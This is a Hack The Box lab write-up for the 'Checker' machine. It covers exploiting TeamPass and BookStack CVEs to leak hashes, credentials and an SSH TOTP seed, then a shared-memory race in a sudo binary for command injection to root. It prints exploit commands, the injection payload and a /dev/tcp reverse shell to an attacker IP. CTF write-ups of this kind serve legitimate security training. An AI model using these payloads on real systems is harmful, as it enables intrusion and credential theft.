> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2025-03-01

Hack The Box — Checker (Linux)

TeamPass credential disclosure and BookStack blind SSRF/LFR expose SSH MFA secret, then a vulnerable root sudo binary is reversed and exploited through shared-memory tampering to command injection and root shell.

Target

  • IP: 10.129.54.35

Recon

sudo nmap -sC -sV 10.129.54.35 -p- -T5 -v
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp   open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open  http    Apache httpd
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: 403 Forbidden
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Go to http://10.129.54.35/.

It redirects to http://checker.htb/login, so add checker.htb to /etc/hosts and browse http://checker.htb/login.

This is BookStack.

Try default creds:

  • admin@admin.com:password

It does not work.

BookStack repo:

  • https://github.com/BookStackApp/BookStack

Go to http://10.129.54.35:8080/.

This is TeamPass.

There is an exploit for CVE-2023-1545:

  • https://huntr.com/bounties/942c015f-7486-49b1-94ae-b1538d812bc2

Copy the exploit and run:

bash exp.sh http://checker.htb:8080/

Output:

admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

Crack with hashcat:

./hashcat-6.2.6/hashcat.bin -a 0 -m 3200 ./hash ./rockyou.txt --username

Result:

$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader

Log in to TeamPass with:

  • bob:cheerleader

In folder bob-access we find:

  • BookStack credentials: bob@checker.htb:mYSeCr3T_w1kI_P4sSw0rD
  • SSH credentials: reader:hiccup-publicly-genesis

SSH password appears valid but it asks for a verification code.

BookStack LFR via Blind SSRF

Log in to BookStack with bob@checker.htb:mYSeCr3T_w1kI_P4sSw0rD.

In page source:

<!-- Styles -->
    <link rel="stylesheet" href="http://checker.htb/dist/styles.css?version=v23.10.2">

Likely BookStack version is 23.10.2.

There is CVE-2023-6199 and an exploit path:

  • https://fluidattacks.com/advisories/imagination/
  • https://fluidattacks.com/blog/lfr-via-blind-ssrf-book-stack/

Download exploit repo:

git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git

Create a book test, create page test, click draft/save draft, intercept request in Burp and send to Repeater.

A PUT request is sent to /ajax/page/8/save-draft.

Modify php_filter_chains_oracle_exploit/filters_chain_oracle/core/requestor.py by adding these lines in the proper places.

At the beginning:

import base64

Before session.put() requests:

base64_chain = base64.b64encode(f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'.encode())
filter_chain = f"<img src='data:image/png;base64,{base64_chain.decode()}'/>"

Run exploit:

python3 ./php_filter_chains_oracle_exploit/filters_chain_oracle_exploit.py --target http://checker.htb/ajax/page/8/save-draft --file /etc/passwd --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"4CrQu2DovY4hoolzuTIwnPg5mMFL5rvOU7YN5BZH","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IllXalMzeUVPQktDNTY1Y0hCZncxN1E9PSIsInZhbHVlIjoiUFVyWEx0STU2Ujl2L1luZTdqZjBXMThyeGNEMXVNMWd3VTRJbHFNNStvV2dqQlZJOHY4bDR5WkwxUThDdHZIbWQ2Y1IySWFIREh3cld4b2EvUW1OY2xYMUkxNnBnZlo4RkF3bXJmbEdENk9neWU2eDJ6QThWenkxVlpaMmRzd2oiLCJtYWMiOiI3ZTY0M2I1MzM4Yjc1Y2E3MDEwNGU3Nzg5ODMyN2MxOWQ0ZmRhZGUwZTZiOTcwY2EwN2Q2ZjYyYTE5MWNhZjU4IiwidGFnIjoiIn0%3D"}'

Take X-CSRF-TOKEN and bookstack_session from Burp.

After enough time, we can dump /etc/passwd.

To retrieve MFA seed, based on these pages:

  • https://www.digitalocean.com/community/tutorials/how-to-set-up-multi-factor-authentication-for-ssh-on-ubuntu-20-04
  • https://askubuntu.com/questions/1370702/need-help-on-google-authenticator-on-ubuntu

we expect .google_authenticator in user home, but direct access is denied.

Back to http://checker.htb/, there is a book linux security with page Basic Backup with cp containing:

#!/bin/bash
SOURCE="/home"
DESTINATION="/backup/home_backup"

mkdir -p $DESTINATION
cp -r --remove-destination --no-preserve=mode,ownership $SOURCE $DESTINATION/

So likely backup path contains home copies.

Dump:

  • /backup/home_backup/home/reader/.google_authenticator

Using the same exploit.

Output:

b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'

OTP is TOTP. We got the secret.

Use any TOTP generator site, for example:

  • https://totp.danhersam.com/

Insert secret, copy valid TOTP, then SSH as reader with known password plus TOTP.

Login works.

Sudo Privilege Escalation Path

Check sudo rights:

sudo -l
Matching Defaults entries for reader on checker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

Script content:

#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

Inspect folder:

ls -l /opt/hash-checker/
-rwxr--r-- 1 root root   141 Jan 30 17:04 check-leak.sh
-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak
-rwx------ 1 root root   750 Jan 30 17:07 cleanup.sh
-rw-r--r-- 1 root root  1464 Jan 30 17:09 leaked_hashes.txt

Check binary:

file /opt/hash-checker/check_leak
/opt/hash-checker/check_leak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f1d8ae448c936df395ad9e825b897965da88afd8, for GNU/Linux 3.2.0, with debug_info, not stripped

Try running:

sudo /opt/hash-checker/check-leak.sh
Error: <USER> is not provided.
sudo /opt/hash-checker/check-leak.sh root
User not found in the database.
sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0x59953 as temp location
User will be notified via bob@checker.htb

To better understand behavior, copy check_leak and leaked_hashes.txt locally and analyze with Ghidra.

The program loads env vars:

  • DB_HOST
  • DB_USER
  • DB_PASSWORD
  • DB_NAME

It queries a local MySQL database (teampass_users table).

Local Reproduction of check_leak

To emulate binary behavior, run local TeamPass with official docker-compose.

Download TeamPass docker compose:

  • https://github.com/nilsteampassnet/TeamPass/raw/refs/heads/master/docker-compose.yml

In TeamPass service, set:

ports:
      - 127.0.0.1:80:80

networks:
      - teampass-internal
      # - backend

In MySQL service, set:

environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: teampass
      MYSQL_PASSWORD: root
      MYSQL_USER: teampass
volumes:
      - ./teampass-db:/var/lib/mysql
      - ./mysql_socket:/run/mysqld
ports:
      - 127.0.0.1:3306:3306

Comment these network lines:

# backend:
  #   external: true

Run:

docker compose up --build -d

Go to http://127.0.0.1/install/install.php and complete install:

  • Start
  • Set Absolute path to secure path to /tmp
  • Continue with DB values:
  • Host: db
  • Database: teampass
  • Login: teampass
  • Password: root
  • Port: 3306
  • Continue with form values:
  • Table prefix: teampass_
  • Admin password: root
  • Confirm: root
  • Admin email: root@root.com

Move to home page and log in with:

  • admin:root

Create .env:

export DB_HOST=127.0.0.1
export DB_USER=root
export DB_PASSWORD=root
export DB_NAME=teampass

Run:

source .env
./check_leak bob

Output:

User not found in the database.

In local TeamPass, add user bob. Use change login password and show password. Example password:

2q6W3Dv7HbmsphRvrs3G

Get hash from local DB:

mysql -h 127.0.0.1 -u teampass -p

Enter password root, then:

use teampass;
select id,name,pw from teampass_users;

Copy hash, e.g.:

$2y$13$4Gt/3IePJbRqRmbD96WHQOKcSn2DIXTky567GjwSPlDN883ji8Nqm

Prepare local leaked hashes file:

sudo mkdir -p /opt/hash-checker/
sudo chown kali:kali /opt/hash-checker/
vim /opt/hash-checker/leaked_hashes.txt

Insert bob hash.

Set MySQL socket in client config:

vim ~/.my.cnf

Add:

[client]
socket=/home/kali/tmp/checker/mysql_socket/mysqld.sock

Run again:

./check_leak bob

Output:

Password is leaked!
Using the shared memory 0x90941 as temp location
User will be notified via bob@checker.htb

So the binary logic is correctly reproduced.

Vulnerability Analysis and Exploit

After loading env vars, program calls:

pw_hash = (char *)fetch_hash_from_db(db_host,db_user,db_password,db_name,user_input);

SQL query is:

snprintf((char *)(buf_ptr + 4),0x400,"SELECT pw FROM teampass_users WHERE login = \'%s\';",
         input_user);

Then:

check_result = check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",pw_hash);

If hash is present, it proceeds to:

key = write_to_shm(pw_hash);

Inside that function:

cur_time_1 = time((time_t *)0x0);
srand((uint)cur_time_1);
rand_val = rand();
__shmid = shmget(rand_val % 0xfffff,1024,950);

shmget docs:

  • https://man7.org/linux/man-pages/man2/shmget.2.html

Signature:

int shmget(key_t key, size_t size, int shmflg);

First argument is key. Here flags are IPC_CREAT | 0666.

Reference for flags:

  • https://stackoverflow.com/questions/40380327/what-is-the-use-of-ipc-creat-0666-flag-in-shmget-function-in-c

IPC_CREAT is octal 01000, and 0666 are permissions.

OR example in Python:

int('0o1000', 8) | int('0o0666', 8)

Result is 950, matching Ghidra value.

Therefore it allocates 1024 bytes of shared memory writable/readable by all users.

Then with shmat it gets pointer and writes:

snprintf(__s,1024,"Leaked hash detected at %s > %s\n",timestamp_str,pw_hash);

String example:

Leaked hash detected at Thu Feb 27 00:19:56 2025 > $2y$13$4Gt/3IePJbRqRmbD96WHQOKcSn2DIXTky567GjwSPlDN883ji8Nqm

Returned key is rand_val % 0xfffff.

Then program prints:

printf("Using the shared memory 0x%X as temp location\n",(ulong)key);

Then sleeps for 1 second:

sleep(1);

Then calls:

notify_user(db_host,db_user,db_password,db_name,key);

notify_user reopens shared memory by key, takes content after > (so effectively only the hash), and executes:

snprintf(str_ptr,(long)(tmp + 1),
         "mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"% s\"\'"
         ,db_user,db_name,pw_hash);
__stream = popen(str_ptr,"r");

Equivalent command:

mysql -u root -D teampass -s -N -e 'select email from teampass_users where pw = "$2y$13$4Gt/3IePJbRqRmbD96WHQOKcSn2DIXTky567GjwSPlDN883ji8Nqm"'

Then it prints:

printf("User will be notified via %s\n",&my_struct_ptr->reserved_1);

Exploit Idea

Command injection.

We do not control db_user and db_name (from .env), but we can control shared memory content.

Because shared memory is world-writable and there is a sleep(1), we can race and overwrite the hash before notify_user reads it.

Set hash payload to:

$2y$13$4Gt/3IePJbRqRmbD96WHQOKcSn2DIXTky567GjwSPlDN883ji8Nqm"'; sleep 5 #

Injected command becomes:

mysql -u root -D teampass -s -N -e 'select email from teampass_users where pw = "$2y$13$4Gt/3IePJbRqRmbD96WHQOKcSn2DIXTky567GjwSPlDN883ji8Nqm"'; sleep 5 #"'

So our command executes after query termination.

To get reverse shell, create /dev/shm/rev on target:

#!/bin/bash
bash -i >& /dev/tcp/10.10.15.9/4444 0>&1

Make it writable/executable for everyone:

chmod 777 /dev/shm/rev

Listen on attacker:

nc -vlnp 4444

I automated the race with Python (ctypes to call libc shared-memory functions).

See exp.py.

Copy exp.py to target and run:

python3 exp.py

We get a reverse shell as root.